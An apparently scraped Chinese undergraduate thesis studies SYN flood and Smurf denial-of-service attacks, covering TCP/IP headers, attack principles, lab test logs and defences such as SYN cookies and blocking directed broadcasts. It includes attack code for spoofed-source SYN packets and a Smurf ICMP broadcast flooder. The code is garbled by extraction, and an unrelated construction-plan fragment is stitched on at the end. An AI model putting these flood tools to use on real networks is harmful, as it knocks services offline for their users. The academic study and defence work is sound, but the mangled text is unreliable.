版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、DoS攻击方式的研究及实现摘要:本文在对两种攻击方式的具体分析后,归纳出当前流行的DoS攻击方式的主要特点,并根据攻击的特点提供一些针对这些攻击的防御方法。通过查阅各 种攻击手段的资料,对其代码进行研究,用代码实现两种攻击程序,然后在特定的环境下,模拟了攻击测试,并对测试结果进行比拟、分析。 关键字:套接字;报文;拒绝效劳;资源衰竭;缓冲区;校验和;播送;带宽耗用 目 录 TOC o 1-3 h z HYPERLINK l _Toc105218628 引言 PAGEREF _Toc105218628 h 4 HYPERLINK l _Toc105218629 1 问题的提出 PAGEREF _
2、Toc105218629 h 4 HYPERLINK l _Toc105218630 1.1 DoS攻击的概念 PAGEREF _Toc105218630 h 4 HYPERLINK l _Toc105218631 1.2 DoS攻击类型 PAGEREF _Toc105218631 h 4 HYPERLINK l _Toc105218632 1.3 两种攻击方式分析 PAGEREF _Toc105218632 h 5 HYPERLINK l _Toc105218633 2 基于DoS攻击的分析和设计 PAGEREF _Toc105218633 h 10 HYPERLINK l _Toc1052
3、18634 2.1 功能需求 PAGEREF _Toc105218634 h 10 HYPERLINK l _Toc105218635 2.2 性能需求 PAGEREF _Toc105218635 h 10 HYPERLINK l _Toc105218636 2.3 系统结构图 PAGEREF _Toc105218636 h 11 HYPERLINK l _Toc105218637 2.4 数据流程图 PAGEREF _Toc105218637 h 12 HYPERLINK l _Toc105218638 3 程序实现 PAGEREF _Toc105218638 h 14 HYPERLINK
4、l _Toc105218639 3.1 实现SYN FLOOD PAGEREF _Toc105218639 h 14 HYPERLINK l _Toc105218640 3.2 实现SMURF PAGEREF _Toc105218640 h 16 HYPERLINK l _Toc105218641 4 攻击测试 PAGEREF _Toc105218641 h 22 HYPERLINK l _Toc105218642 攻击实例 PAGEREF _Toc105218642 h 22 HYPERLINK l _Toc105218643 4.2 防御方法 PAGEREF _Toc105218643 h
5、 25 HYPERLINK l _Toc105218644 结论 PAGEREF _Toc105218644 h 27 HYPERLINK l _Toc105218645 致谢 PAGEREF _Toc105218645 h 27 HYPERLINK l _Toc105218646 参考文献 PAGEREF _Toc105218646 h 27引言随着信息技术特别是网络技术的不断开展,国际互联网的全球化热潮使人类社会进入了一个新的信息时代。由于国际互联网具有不受时间、地域限制的特性,而且计算机的处理能力迅速增长,越来越多的网络攻击工具被攻击者应用于因特网而引发了大混乱,而在攻击中又以拒绝效劳D
6、oS为主,这些拒绝效劳型攻击每年造成的商业损失达成百上千万美元,对任何系统和网络都构成了威胁。为了防止DoS造成更多的损失,很多研究人员参加到研究行列中来。为了让大家对DoS有更多的了解,所以对 DOS攻击原理以及常见方法进行研究。1 问题的提出1.1 DoS攻击的概念DoS是Denial of Service的简称,即拒绝效劳,造成DoS的攻击行为被称为DoS攻击,其目的是使计算机或网络无法提供正常的效劳。被DoS攻击时,主机上有大量等待的TCP连接,网络中充满着大量的无用的数据包。攻击者源地址为假,制造高流量无用数据,造成网络拥塞,使受害主机无法正常和外界通讯。攻击者利用受害主机提供的效劳
7、或传输协议上的缺陷,反复高速的发出特定的效劳请求,使受害主机无法及时处理所有正常请求,严重时会造成系统死机。1.2 DoS攻击类型最常见的DoS攻击形式有4种:1带宽耗用bandwidth-consumption攻击,攻击者有更多的可用带宽而能够造成受害者的拥塞或者征用多个站点集中网络连接对网络进行攻击。即以极大的通信量冲击网络,使得所有可用网络资源都被消耗殆尽,最后导致合法的用户请求就无法通过。2资源衰竭resource-starvation攻击,与带宽耗用不同的是在于消耗系统资源,一般涉及cpu利用率、内存、文件系统限额和系统进程总数之类的系统资源消耗。即用大量的连接请求冲击计算机,使得所
8、有可用的操作系统资源都被消耗殆尽,最终计算机无法再处理合法用户的请求。3编程缺陷programming flaw是应用程序、操作系统在处理异常条件上的失败。这些异常条件通常在用户向脆弱的元素发送非期望的数据时发生。对于依赖用户输入的特定应用程序来说,攻击者可能发送大数据串,这样就有可能创立一个缓冲区溢出条件而导致其崩溃。4DNS攻击是基于域名系统的攻击,攻击者向放大网络的播送地址发送源地址伪造成受害者系统的ICMP回射请求分组,这样放大效果开始表现,放大网络上的所有系统对受害者系统作出响应,受害者系统所有可用带宽将被耗尽。1.3 两种攻击方式分析1TCP/IP协议因为对于网络协议都是分层的,所
9、以TCP/IP协议不例外,它可以分为四个层次:1.链路层:数据链路层或网络接口层,通常包括操作系统中的设备驱动程序和计算机中对应的网络接口卡;2.网络层:互连网层,处理分组在网络中的活动,网络层协议包括IP协议、ICMP协议、IGMP协议;3.传输层:它主要为两台主机上的应用程序提供端到端的通信;4.应用层:负责处理特定的应用程序细节Telnet远程登陆、FTP文件传输协议、SMTP用于电子邮件的简单邮件传输协议、SNMP简单网络管理协议。TCP/IP协议的重点就是IP协议网际互连协议和TCP协议传输控制协议。首先介绍IP协议,IP协议的主要功能包括无连接数据报传送、数据报寻径以及过失处理三局
10、部。IP层作为通信子网的最高层,提供无连接的数据报传输机制。IP数据报协议非常简单,不能保证传输的可靠性。IP协议是点到点的,它向上层提供统一的IP数据报,使得各种物理帧的差异性对上层协议不复存在。TCP建立在不可靠的IP协议之上,IP不能提供任何可靠性机制,所以TCP的可靠性完全由自己实现。TCP采用的最根本的可靠性技术是:确认与超时重传。流量控制也是保证可靠性的一个重要措施,假设无流量控制,可能因接受缓冲区溢出而丧失大量数据,导致许多重传。此外,TCP还要进行拥塞控制,目的也不外乎提供可靠性。怎样才能建立可靠的连接呢?TCP使用了“三次握手机制:第一次,“客户机向“效劳器发送连接请求,其中
11、包括“客户机端的初始报文序号比方X。第二次,“效劳器收到连接请求后,发回连接确认,其中包括“效劳器端的初始报文序号比方Y,以及“效劳器对“客户机初始报文序号X确实认。第三次,“客户机向“效劳器发送X序号数据,其中包括对“效劳器初始序号Y确实认。撤消连接比建立连接简单,但也可能造成数据丧失,因为连接的双方都可以发起撤除连接操作。假设A、B两机建立连接并传输报文。在A机毫无准备的情况下,B机单方面发出断连请求,并立刻终止接收该连接上的数据。在A机未收到断连接请求之前,随时可能向B机发送数据,于是便有了数据丧失的可能性。为了解决此问题,再次用到三次握手方法。一方发出断连请求后并不立即撤除连接,而要等
12、待对方确认;对方收到请求后,发送确认报文,并撤除连接;发起方收到确认后最后撤除连接。TCP的拥塞控制也是基于滑动窗口协议的,通过限制发送端向网间网注入报文的速率而到达控制拥塞的目的。TCP发现拥塞的途径有两条:一条是来自ICMP的源抑制报文,一条是报文丧失现象。TCP/IP协议的分析主要在于IP数据报和TCP数据报的格式。那么我们应该首先了解IP数据报和TCP数据报的格式。各种数据格式常常以32bit即4字节为单位来描述。IP数据报的完整格式:优先级别DTRC未用 版本首部长度效劳类型 总长度 标识标志 片偏移生存时间协议 首部检验和源地址目的地址长度可变的可选字段填充 IP数据报首部IP数据
13、局部IP数据报首部的固定局部中的各字段1.版本:占4bit,指IP协议的版本。通信双方使用的IP协议的版本必须一致。2.首部长度:占4bit,可以表示的最大数值是15个单位一个单位为4字节,因此IP的首部长度的最大值是60字节。3.效劳类型:占8bit,用来获得更好的效劳。4.总长度:总长度指首部和数据之和的长度,单位为字节。5.标识:占16bit,它是一个计数器,用来产生数据报的标识。6.标志:占3bit。7.片偏移:较长的分组在分片后,某片在原分组中的相对位置。8.生存时间:生存时间字段记为TTL,即数据报在网络中的寿命9.协议:占8bit,协议字段指出此数据报携带的数据是使用何种协议,以
14、便使目的主机的IP层字段应将此数据报上报给哪个进程。10.首部检验和:此字段只检验数据报的首部,不包括数据局部。TCP数据报的完整格式:源端口目的端口序号确认号数据偏 移保存URGACKPSHRSTSYNFIN窗口检验和紧急指针选项长度可变填充TCP数据报首部TCP数据局部 IP数据报首部IP数据局部TCP首部固定局部各字段的意义如下1.源端口和目的端口:各占2个字节。端口是运输层与应用层的效劳接口,16bit的端口号加上32bit的IP地址,构成了SOCKET,它相当于运输层效劳访问点TSAP的地址总共是48bit。这些端口用来将假设干高层协议向下复用,也用来将运输层协议向上分用。2.序号:
15、占4bit。TCP是面向数据流的,它传送的报文可以看成为连续的数据流,其中每一个字节都对应于一个序号。首部中的“序号那么指的是本报文段所发送的数据中第一个字节的序号。3.确认序号:占4字节,是期望收到对方的下一个报文段的数据的第一个字节的序号,也就是期望收到的下一个报文段首部的序号字段的值。4.数据偏移:占4bit,它指出数据开始的地方离TCP报文段的起始处有多远。5.保存:占6bit,保存为今后使用,目前应为06.紧急比特URG:当URG=1时,说明紧急指针字段有效。它告诉系统此报文段中有紧急数据,应尽快传送相当于高优先级的数据,而不按原来的排队顺序来传送。ACK:只有当ACK=1时确认序号
16、字段才有效。PSH:当两个应用进程进行交互式的通信时,有时在一端的应用进程希望在键入一个命令后立即就能够收到对方的响应。RST:当RST=1时,说明TCP连接中出现严重过失,必须释放连接,然后再重新建立运输连接。SYN:在连接建立时用来同步的序号。FIN:用来释放一个连接。12.窗口:占2字节。窗口字段用来控制对方发送的数据量,单位为字节。13.检验和:占2字节。检验和字段检验的范围包括首部和数据这两局部。2 SYN FLOOD攻击SYN FLOOD 是一种比拟有效而又非常难于防御的一种DoS攻击方式。它利用TCP三次握手协议的缺陷,向目标主机发送大量的伪造源地址的SYN连接请求,消耗目标主机
17、的资源,从而不能够为正常用户提供效劳。这个攻击是经典的以小搏大的攻击,自己使用少量资源占用对方大量资源。一台P4的Linux系统大约能发到3040M的64字节的SYN报文,而一台普通的效劳器20M的流量就根本没有任何响应了包括鼠标、键盘。而且SYN不仅可以远程进行,而且可以伪造源IP地址,给追查造成很大困难,要查找必须所有骨干网络运营商,一级一级路由器的向上查找。要掌握SYN Flood攻击的根本原理,必须先介绍TCP的三次握 制。TCP 三次握手过程如下:1客户端向效劳器端发送一个SYN置位的TCP报文,包含客户端使用的端口号和初始序列号x;2效劳器端收到客户端发送来的SYN报文后,向客户端
18、发送一个SYN和ACK都置位的TCP报文,包含确认号为x1和效劳器的初始序列号y;3客户端收到效劳器返回的SYNACK报文后,向效劳器返回一个确认号为y1序号为x1的ACK报文,一个标准的TCP连接完成。如图1所示:TCP客户端客户端端口102465535TCP效劳器端效劳器端口11023SYNSYN/ACKACK132图1 正常情况下TCP连接建立的过程攻击原理:在SYN Flood攻击中,黑客机器向受害主机发送大量伪造源地址的TCP SYN报文,受害主机分配必要的资源,然后向源地址返回SYNACK包,并等待源端返回ACK包,如图2所示。由于源地址是伪造的,所以源端永远都不会返回ACK报文,
19、并向受害主机继续发送SYNACK包,当目标计算机收到请求后,就会使用一些系统资源来为新的连接提供效劳,接着回复SYNACK。假设一个用户向效劳器发送报文后突然死机或掉线,那么效劳器在发出SYNACK应答报文后是无法再接受到客户端的ACK报文第三次握手无法完成。一些系统都有缺省的回复次数和超时时间,这种情况下效劳器端一般会重新发送SYNACK报文给客户端,只有到达一定次数或者超时,占用的系统资源才会被释放。这段时间我们称为SYN Timeout,虽然时间长度是分钟的数量级,但是由于端口的半连接队列的长度是有限的,如果不断的向受害主机发送大量的TCP SYN报文,半连接队列就会很快填满,效劳器拒绝
20、新的连接,将导致该端口无法响应其他机器进行的连接请求,最终使受害主机的资源耗尽。图2 SYN Flood攻击示意图TCP客户端客户端端口102465535TCP效劳器端效劳器端口11023SYNSYN/ACK12伪造源地址3 SMURF攻击Smurf攻击因为其放大效果成为最令人害怕的GENERIC DoS攻击之一。这种放大效果是往一个网络上的多个系统发送定向播送的ping请求,这些系统接着对这种请求作出响应的结果。攻击原理:Smurf攻击是这种攻击的早期形式,是一种在局域网中的攻击手段。它的作用原理是基于播送地址与回应请求的。一台计算机向另一台计算机发送一些特殊的数据包如ping请求时,会接到
21、它的回应;如果向本网络的播送地址发送请求包,实际上会到达网络上所有的计算机,这时就会得到所有计算机的回应。这些回应是需要被接收的计算机处理的,每处理一个就要占用一份系统资源,如果同时接到网络上所有计算机的回应,接收方的系统是有可能吃不消的,就象遭到了DDoS攻击一样。大家会疑问,谁会无聊得去向网络地址发包而招来所有计算机的攻击呢?当然做为一个正常的操作者是不会这么做的,但是当黑客要利用这个原理进行Smurf攻击的时候,他会代替受害者来做这件事。黑客向播送地址发送请求包,所有的计算机得到请求后,却不会把回应发到黑客那里,而是被攻击的计算机处。这是因为黑客冒充了被攻击主机。黑客发包所用的软件是可以
22、伪造源地址的,接到伪造数据包的主时机根据源地址把回应发出去,这当然就是被攻击目标的地址。黑客同时还会把发包的间隔减到几毫秒,这样在单位时间能发出数以千计的请求,使受害者接到被欺骗计算机那里传来的洪水般的回应。象遭到其他类型的拒绝效劳攻击一样,被攻击主时机网络和系统无法响应,严重时还会导致系统崩溃。黑客借助了网络中所有计算机来攻击受害者,而不需要事先去占领这些被欺骗的主机。2 基于DoS攻击的分析和设计2.1 功能需求 1软件需要在命令行模式下运行。 2被攻击主机应确保处于运行态。 3网络传输速度较快。2.2 性能需求 系统对运行环境的要求:硬件环境 局域网环境百兆交换机高性能PC一台普通性能P
23、C一台 软件环境Win 2000操作系统UNIX操作系统 网络监听工具SNOOPC+2.3 系统结构图初始化SYN FLOOD初始化缓冲 区初始化套接 字TCP首部校验和构造tcp报文IP首部校验 和发送报文进行攻 击 图3 SYN FLOOD结构图初始化SMURF初始化缓冲 区初始化套接 字ICMP校验和构造伪造ICMP报文WENN 文IP首部校验 和发送定向播送进行攻 击 图4 SMURF结构图2.4 数据流程图SYN FLOOD数据流程图如下:伪TCP首部校验和TCP首部 构造TCP报文用户校验和IP首部发送报文被攻击主机 图5 SYN FLOOD数据流程图SMURF数据流程图如下:校验
24、和ICMP 构造ICMP报文用户校验和IP首部ICMP回射请求分组被攻击主机所在网络 图6 SMURF数据流程图3 程序实现3.1 实现SYN FLOOD程序描述:目的:利用TCP连接三次握手定理进行攻击.特点:发起的连接都是半连接功能输入 处理 输出被攻击主机IP 生成伪造IP的报文向被攻击主机发送报文性能要求 对TCP 、IP首部校验和运算要有较快速度攻击机所处局域网内机器较少,防止伪造IP与网内机器IP相同输入项 被攻击主机IP输出项 伪造的SYN报文流程逻辑/定义TCP首部typedef struct _tcphdr USHORT th_sport; /16位源端口USHORT th_
25、dport; /16位目的端口unsigned int th_seq; /32位序列号unsigned int th_ack; /32位确认号unsigned char th_lenres; /4位首部长度+6位保存字中的4位unsigned char th_flag; /2位保存字+6位标志位USHORT th_win; /16位窗口大小USHORT th_sum; /16位校验和USHORT th_urp; /16位紧急数据偏移量TCP_HEADER;/定义IP首部typedef struct _iphdrunsigned char h_verlen; /4位首部长度+4位IP版本号uns
26、igned char tos; /8位效劳类型TOSunsigned short total_len; /16位总长度字节unsigned short ident; /16位标识unsigned short flags; /3位标志位unsigned char ttl; /8位生存时间 TTLunsigned char proto; /8位协议号(TCP, UDP 或其他)unsigned short checksum; /16位IP首部校验和unsigned int sourceIP; /32位源IP地址unsigned int destIP; /32位目的IP地址IP_HEADER;/建立
27、原始套接字SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);/计算校验和USHORT checksum(USHORT *buffer, int size) unsigned long cksum=0;while(size 1) cksum+=*buffer+; size -=sizeof(USHORT); if(size ) cksum += *(UCHAR*)buffer;cksum = (cksum 16) + (cksum & 0 xffff);cksum += (cksum 16);re
28、turn (USHORT)(cksum);/构造TCP伪首部,保证校验和的有效性struct unsigned long saddr; /源地址unsigned long daddr; /目的地址char mbz; /置空char ptcl; /协议类型unsigned short tcpl; /TCP长度psd_header;/这两个字段复制到同一个缓冲区SendBuf中并计算TCP校验和memcpy(SendBuf,&psd_header,sizeof(psd_header);memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_
29、header);tcp_header.th_sum=checksum(USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header);/计算IP校验和memcpy(SendBuf,&ip_header,sizeof(ip_header);memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header);ip_header.checksum=checksum(USHORT *)SendBuf, sizeof(ip_header)+sizeof(tcp_header);/形成TCP报文memc
30、py(SendBuf,&ip_header,sizeof(ip_header);/向被攻击机发送SYN请求sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr);3.2 实现SMURF程序描述:目的:利用发送定向播送进行攻击.特点:攻击效果被放大 功能 向被攻击主机所在网络发送ICMP回射请求分组性能要求 对ICMP、IP首部校验和运算要有较快速度攻击机所处局域网内机器较多,到达攻击放大效果输入项 被攻击主机IP , 播送地址所在文件,包数,包之间延迟,包大小输出项 ICMP报文流程逻辑/帮助
31、信息void usage (char *prog) fprintf(stderr, usage: %s nn target=address to hitn bcast file=file to read broadcast addresses fromn num packets=number of packets to send (0 = flood)n packet delay=wait between each packet (in ms)n packet size=size of packet (1) cksum+=*buffer+; size -=sizeof(USHORT); if(
32、size ) cksum += *(UCHAR*)buffer;cksum = (cksum 16) + (cksum & 0 xffff);cksum += (cksum 16);return (USHORT)(cksum);/主函数int main(int argc, char *argv) struct sockaddr_in sin; /地址结构 struct hostent *he; /主机信息结构 FILE *bcastfile; /播送地址文件 int i,sock,bcast,delay,num,pktsize,cycle = 0, x; char buf32, *bcasta
33、ddr = malloc(8192); banner(); /显示标记 signal(SIGINT, ctrlc); if (argc h_addr, he-h_length); /通讯发生区域为WINDOWSsin.sin_family = AF_INET; /端口置空sin.sin_port = htons(0); num=atoi(argv3); delay=atoi(argv4); pktsize=atoi(argv5); /以只读方式翻开播送地址文件失败if (bcastfile=fopen(argv2,r)=NULL) perror(opening bcast file); exi
34、t(-1); x=0; /读入全部播送地址 while (!feof(bcastfile) fgets(buf,32,bcastfile); if (buf0=#| buf0 = n | ! isdigit(buf0) continue; for (i=0; i 1024) fprintf(stderr, ERROR: packet size must be 1024nn); exit(-1); /原始套接字初始化 if (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW) 0) perror(getting socket); exit(-1); /设置
35、套接字选项 setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast); printf(Flooding %s (. = 25 outgoing packets)n, argv1); /循环发送ICMP回射请求 for (i=0; itot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip-ihl = 5; ip-version = 4; ip-ttl = 255; ip-tos = 0; ip-frag_off =
36、0; ip-protocol = IPPROTO_ICMP; ip-saddr = sin.sin_addr.s_addr; ip-daddr = dest; ip-check = in_chksum(u_short *)ip, sizeof(struct iphdr); /设置ICMP报文并计算校验和icmp-type = 8; icmp-code = 0; icmp-checksum = in_chksum(u_short *)icmp, sizeof(struct icmphdr) + psize); /发送ICMP报文 sendto(sock, packet, sizeof(struc
37、t iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr); 4 攻击测试1SYN FLOOD下面是模拟的一次Syn Flood攻击的实际过程 这一个局域网环境,只有一台攻击机PIII667/128,被攻击的是一台Solaris 8.0 (spark)的主机,网络设备是Cisco的百兆交换机。这是在攻击并未进行之前,在Solaris上进行snoop的记录,snoop与tcpdump等网络监听工具一样,也是一个很好的网络抓包与分析的工具。可以看到攻击之前,目标主机上接
38、到的根本上都是一些普通的网络包。 ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (multicast) ETHER Type=0000 (LLC/802.3), size = 52 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes6 - 55 NBT Datagram Service Type=17 Sour
39、ce=GU047 - 55 NBT Datagram Service Type=17 Source=TSC0 ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes00 - (broadcast) ARP C Who is 02, 02 ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes6 - 55 NBT Datagram Service
40、 Type=17 Source=GU0 ? - (multicast) ETHER Type=0000 (LLC/802.3), size = 52 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes ? - (broadcast) ETHER Type=886F (Unknown), size = 1510 bytes接着,攻击机开始发包,DoS开始了,突然间主机上的snoop窗口开始飞速地翻屏,显示出接到数量巨大的Syn请求。这时候内容完全不同了,再也收不到刚刚那些正常的网络包,只有DoS包。大家注意一下,这
41、里所有的Syn Flood攻击包的源地址都是伪造的,给追查工作带来很大困难。# netstat -an | grep SYN83.9 9.1801 0 0 24656 0 SYN_RCVD83.13 9.1801 0 0 24656 0 SYN_RCVD83.19 9.1801 0 0 24656 0 SYN_RCVD83.21 9.1801 0 0 24656 0 SYN_RCVD83.22 9.1801 0 0 24656 0 SYN_RCVD83.23 9.1801 0 0 24656 0 SYN_RCVD83.25 9.1801 0 0 24656 0 SYN_RCVD83.37 9.
42、1801 0 0 24656 0 SYN_RCVD83.53 9.1801 0 0 24656 0 SYN_RCVD其中SYN_RCVD表示当前未完成的TCP SYN队列,统计一下:# netstat -an | grep SYN | wc l5273# netstat -an | grep SYN | wc l5154# netstat -an | grep SYN | wc l5267共有五千多个Syn的半连接存储在内存中。这时候被攻击机已经不能响应新的效劳请求了,系统运行非常慢,也无法ping通。这是在攻击发起后仅仅70秒钟左右时的情况。2 SMURF下面是模拟的一次SMURF攻击:在局
43、域网环境下,发起攻击的主机是UNIX操作系统,被攻击主机是普通PC,因为SMURF攻击效果和被攻击主机所在网络主机数有很大关系,所以选择了一个在线用户多的时间,发起了攻击。以下图是被攻击主机用SNOOP抓图的结果: 78 - AUTH C port=1352 192.1682 - TCP D=114 S=1352 Seq=674711609 Len=0 Win=65535 192.1681 - TCP D=115 S=1352 Seq=674711609 Len=0 Win=65535 8 - UUCP-PATH C port=1352 2 - TCP D=118 S=1352 Seq=674
44、711609 Len=0 Win=65535 192.16818 - NNTP C port=1352 4 - TCP D=121 S=1352 Seq=674711609 Len=0 Win=65535 8 - TCP D=122 S=1352 Seq=674711609 Len=0 Win=65535 192.1684 - TCP D=124 S=1352 Seq=674711609 Len=0 Win=65535 1 - TCP D=125 S=1352 Seq=674711609 Len=0 Win=65535 9 - TCP D=126 S=1352 Seq=674711609 Le
45、n=0 Win=65535 13 - TCP D=128 S=1352 Seq=674711609 Len=0 Win=65535 2 - TCP D=130 S=1352 Seq=674711609 Len=0 Win=65535 04 - TCP D=131 S=1352 Seq=674711609 Len=0 Win=65535 56 - TCP D=133 S=1352 Seq=674711609 Len=0 Win=65535 192.16848 - TCP D=135 S=1352 Seq=674711609 Len=0 Win=65535可以看出发起攻击后,局域网上的主机对目标主
46、机有了响应,这时系统运行非常慢,几乎不能响应用户请求,到达了攻击目的。4.2 防御方法通过对两种攻击方式原理的分析,以及模拟实验结果比照,并查看有关资料,给出了以下防御方法:SYN FLOODSYNcookie技术一般情况下,当效劳器收到一个TCP SYN报文后,马上为该连接请求分配缓冲区,然后返回一个SYNACK报文,这时形成一个半连接。SYN Flood正是利用了这一点,发送大量的伪造源地址的SYN连接请求,而不完成连接。这样就大量的消耗的效劳器的资源。SYNcookie技术针对标准TCP连接建立过程资源分配上的这一缺陷,改变了资源分配的策略。当效劳器收到一个SYN报文后,不立即分配缓冲区
47、,而是利用连接的信息生成一个cookie,并将这个cookie作为将要返回的SYNACK报文的初始序列号。当客户端返回一个ACK报文时,根据包头信息计算cookie,与返回确实认序列号初始的序列号1的前24位进行比照,如果相同,那么是一个正常连接,然后,分配资源,建立连接。该技术的巧妙之点在于防止了在连接信息未完全到达前进行资源分配,使SYN Flood攻击的资源消耗失效。实现的关键之处在于cookie的计算。cookie的计算应该做到包含本次连接的状态信息,使攻击者不能伪造cookie。cookie的计算过程如下:效劳器收到一个SYN包后,计算一个消息摘要mac:mac = MACA,k;M
48、AC是密码学中的一个消息认证码函数,也就是满足某种平安性质的带密钥的hash函数,它能够提供cookie计算中需要的平安性。A为客户和效劳器双方的IP地址和端口号以及参数t的串联组合:A = SOURCE_IP | SOURCE_PORT | DST_IP | DST_PORT | tK为效劳器独有的密钥;时间参数t为32比特长的时间计数器,每64秒加1;生成cookie:cookie = mac0:24:表示取mac值的第0到24比特位;设置将要返回的SYN+ACK报文的初始序列号,设置过程如下高24位用cookie代替;接下来的3比特位用客户要求的最大报文长度MMS代替;最后5比特位为t
49、mod 32。客户端收到来自效劳器SYN+ACK报文后,返回一个ACK报文,这个ACK报文将带一个cookie确认号为效劳器发送过来的SYN ACK报文的初始序列号加1,所以不影响高24位,在效劳器端重新计算cookie,与确认号的前24位比拟,如果相同,那么说明未被修改,连接合法,然后,效劳器完成连接的建立过程。SYN-cookie技术由于在连接建立过程中不需要在效劳器端保存任何信息,实现了无状态的三次握手,从而有效的防御了SYN Flood攻击。但是该方法也存在一些弱点。由于cookie的计算只涉及了包头的局部信心,在连接建立过程中不在效劳器端保存任何信息,所以失去了协议的许多功能,比方,
50、超时重传。此外,由于计算cookie有一定的运算量,增加了连接建立的延迟时间,因此,SYN-cookie技术不能作为高性能效劳器的防御手段。通常采用动态资源分配机制,当分配了一定的资源后再采用cookie技术,Linux就是这样实现的。还有一个问题是,当我们防止了SYN Flood攻击的同时,同时也提供了另一种拒绝效劳攻击方式,攻击者发送大量的ACK报文,使效劳器忙于计算验证。尽管如此,在预防SYN Flood攻击方面,SYN-cookie技术仍然是一种有效的技术。地址状态监控的解决方法地址状态监控的解决方法是利用监控工具对网络中的有关TCP连接的数据包进行监控,并对监听到的数据包进行处理。处
51、理的主要依据是连接请求的源地址。每个源地址都有一个状态与之对应,总共有四种状态:初态:任何源地址刚开始的状态;NEW状态:第一次出现或出现屡次也不能断定存在的源地址的状态;GOOD状态:断定存在的源地址所处的状态;BAD状态:源地址不存在或不可达时所处的状态。具体的动作和状态转换根据TCP头中的位码值决定:监听到SYN包,如果源地址是第一次出现,那么置该源地址的状态为NEW状态;如果是NEW状态或BAD状态;那么将该包的RST位置1然后重新发出去,如果是GOOD状态不作任何处理。监听到ACK或RST包,如果源地址的状态为NEW状态,那么转为GOOD状态;如果是GOOD状态那么不变;如果是BAD
52、状态那么转为NEW状态;如果是BAD状态那么转为NEW状态。监听到从效劳器来的SYN ACK报文目的地址为addr,说明效劳器已经为从addr发来的连接请求建立了一个半连接,为防止建立的半连接过多,向效劳器发送一个ACK包,建立连接,同时,开始计时,如果超时,还未收到ACK报文,证明addr不可达,如果此时addr的状态为GOOD那么转为NEW状态;如果addr的状态为NEW状态那么转为BAD状态;如果为addr的状态为BAD状态那么不变。SMURF阻塞Smurf攻击的源头Smurf攻击依靠攻击者的力量使用欺骗性源地址发送echo请求。用户可以使用路由路的访问保证内部网络中发出的所有传输信息都
53、具有合法的源地址,以防止这种攻击。这样可以使欺骗性分组无法找到反弹站点。阻塞Smurf的反弹站点用户可以有两种选择以阻塞Smurf攻击的反弹站点。第一种方法可以简单地阻塞所有入站echo请求,这们可以防止这些分组到达自己的网络。 如果不能阻塞所有入站echo请求,用户就需要罅自己的路由器把网络播送地址映射成为LAN播送地址。制止了这个映射过程,自己的系统就不会再收到这些echo请求。 如果使用Cisco路由路,制止网络播送映射成为LAN播送的方法是在LAN接口的配置模式中输入命令: no ip directed-broadcast结论通过攻击测试,用自己实现的SYN攻击程序,向效劳器端不断发送
54、连接请求。当效劳器接收的时候,因为没有接收到客户端确实认,效劳器认为是没有建立起来的连接请求,于是为这些请求建立会话,排到缓冲区队列中。如果SYN请求超过了效劳器能容纳的限度,缓冲区队列满,那么效劳器就不再接收新的请求了。其他合法用户的连接都被拒绝掉。可以持续SYN请求发送,直到缓冲区中被SYN请求充满 。在分析攻击原理后,向用户提出了防止遭受SYN FLOOD攻击的措施,这样能使用户减少受攻击的程度。由于作者的水平有限,以及在程序的编写方法上有许多缺乏,所实现程序的功能也达不到预期的效果,希望能在以后得到逐步改善。用代码实现的SMURF程序向一个网络上的多个系统发送定向播送的PING请求,并
55、且伪造成受害者系统的IP,这些系统接着对请求作出响应的结果。这样网络上的所有系统于是对受害者系统作出响应,就造成了受害者系统所有的可用带宽都被占用。由于在局域网的环境下,受害者所在网络上的系统数目有限,即向受害者系统发送数据包数量受到限制,这样受害者系统当机的可能性降低。致谢通过这个毕业设计,使我对大学四年的计算机知识特别是网络编程方面有了更深入的认识和理解,特别感谢李贵洋老师在整个设计过程中提供的支持与帮助。最后,向大学四年教授过我的老师以及辛勤工作在计算机学院的所有老师致以最崇高的敬礼。参考文献1 黑客大曝光,清华大学出版社,2002年1月2 TCP SYN Flooding原理及其应对策
56、略,网络与应用,20033 SYN Flood攻击原理与预防方法,计算机应用,2000The study and vealiztion of the mode of DoS attackAbstract: After analysis the two mode of attack, the author inducts the main characteristics of Denial of Service which is fashionable , and affords some defences of the attack in accordance with characteris
57、tics. By checking all sorts of references and studying many codes, the author realizes two attack programs, and makes simulation of attack in specific situation. The author also compares and analysises the result of simulation at last.Key Words: socket; message; denial of service; resource-starvatio
58、n; buffer; checksum; brocast; bandwidth-consumption; 原文已完。下文为附加文档,如不需要,下载后可以编辑删除,谢谢!施工组织设计本施工组织设计是本着“一流的质量、一流的工期、科学管理来进行编制的。编制时,我公司技术开展部、质检科以及工程部经过精心研究、合理组织、充分利用先进工艺,特制定本施工组织设计。工程概况:西夏建材城生活区27#、30#住宅楼位于银川市新市区,橡胶厂对面。本工程由宁夏燕宝房地产开发开发,银川市规划建筑设计院设计。本工程耐火等级二级,屋面防水等级三级,地震防烈度为8度,设计使用年限50年。本工程建筑面积:27#m2;30#
